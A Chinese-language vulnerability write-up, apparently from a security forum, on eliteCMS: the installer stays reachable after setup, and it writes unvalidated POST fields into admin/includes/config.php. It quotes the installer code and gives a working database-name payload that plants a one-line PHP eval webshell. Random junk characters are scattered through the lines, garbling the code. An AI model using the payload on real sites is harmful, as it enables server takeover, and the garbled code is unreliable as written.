eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
" ~2 J/ X8 N; P& {4 g' H9 q
% H- A* O7 d' E9 k2 U另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
% u/ @  Y# P$ V& l5 U我们来看代码：

...
3 V! A2 t: ], f. Selseif ($_GET['step'] == "4") {
2 M5 d$ f0 N' o9 a# w    $file = "../admin/includes/config.php";
/ [7 X; U' U4 z7 ?/ Z, y    $write = "<?php\n";
  u1 T8 p* a6 G9 [  k    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
& |4 c% U5 @' [( u. ~9 ^$ J    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
- w- c) j) _% ?# M: u2 k9 Q3 |    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
( y& r5 V( h% [7 `! G+ q) _& b$ y    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
& Y) q. V: p9 n9 {& S- I- k) L    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
9 Z5 \, Q$ r" C6 V    $write .= "if (!\$connection) {\n";
% j' K% ^" N3 m. N. j* x    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
2 V" F( U" P$ T5 |+ _/ y; d7 G" ~    $write .= "        \n";
4 M6 Q$ f* u( D    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
# ]) V% _7 g$ s- r0 L( p    $write .= "        die(\"Database select failed\" .mysql_error());\n";
7 H2 `& [4 P" i) l3 H7 I( K    $write .= "        \n";
; b2 E: w3 |( x1 N    $write .= "} \n";
    $write .= "?>\n";
, k2 I: H2 L+ b! |
( Q- e- q4 o  F% ]: E- D    $writer = fopen($file, 'w');
5 y4 H! U. N5 T. |2 p...

在看代码：
$ K7 b. o! F+ X! C# z$ a; y- O
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# k0 g* \& r) R5 ?; q5 g, p$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

  V0 l* H" H- F- O2 D. w取值未作任何验证
如果将数据库名POST数据：
% w. q% N! e8 y: Y, T1 [
# K( h- G) x- m- B"?><?php eval($_POST[c]);?><?php
6 Y2 u: |4 R' ?3 K- R! L9 {
将导致一句话后门写入/admin/includes/config.php
! c4 p0 z8 U+ M8 N3 P$ Y